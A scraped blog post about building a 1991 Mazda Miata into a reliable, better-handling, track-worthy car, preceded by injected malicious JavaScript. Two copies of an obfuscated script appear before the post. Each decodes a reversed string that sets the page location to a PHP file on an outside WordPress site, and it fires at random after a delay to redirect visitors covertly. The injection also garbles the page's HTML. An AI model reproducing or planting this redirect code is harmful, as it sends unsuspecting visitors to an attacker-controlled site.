$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?q=node/451″ target=”_self”>
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/contributors/5.jpg”>
Last time I posted about the Miata I elaborated at considerable length about the rationale behind my current choice of vehicle – a 1991 Mazda Miata (in the US, aka Mazda MX5 in the Uk, aka Mazda Roadster in Japan). I only just skimmed the surface of what’s in the works for the red beastie to merit ‘saga’ status though so instead of trying to continually rationalize owning one of the world’s most infamous ‘hairdresser’ cars let’s get right into it.
Every project needs a brief so the brief here, then, is to keep Red Beastie very much a Miata. That means keeping it mechanically reliable while improving the already great handling and injecting those ‘attractive to girls’ looks with some subtle testosterone and flava. I’m not a total poseur though – the other special requirement I’ve tacked on to the basic brief is that the car needs to be track-worthy. Track worthy enough to surprise girlie man trackday drivers in much newer, flashier and more powerful cars.
CLICK ON AS ALWAYS….
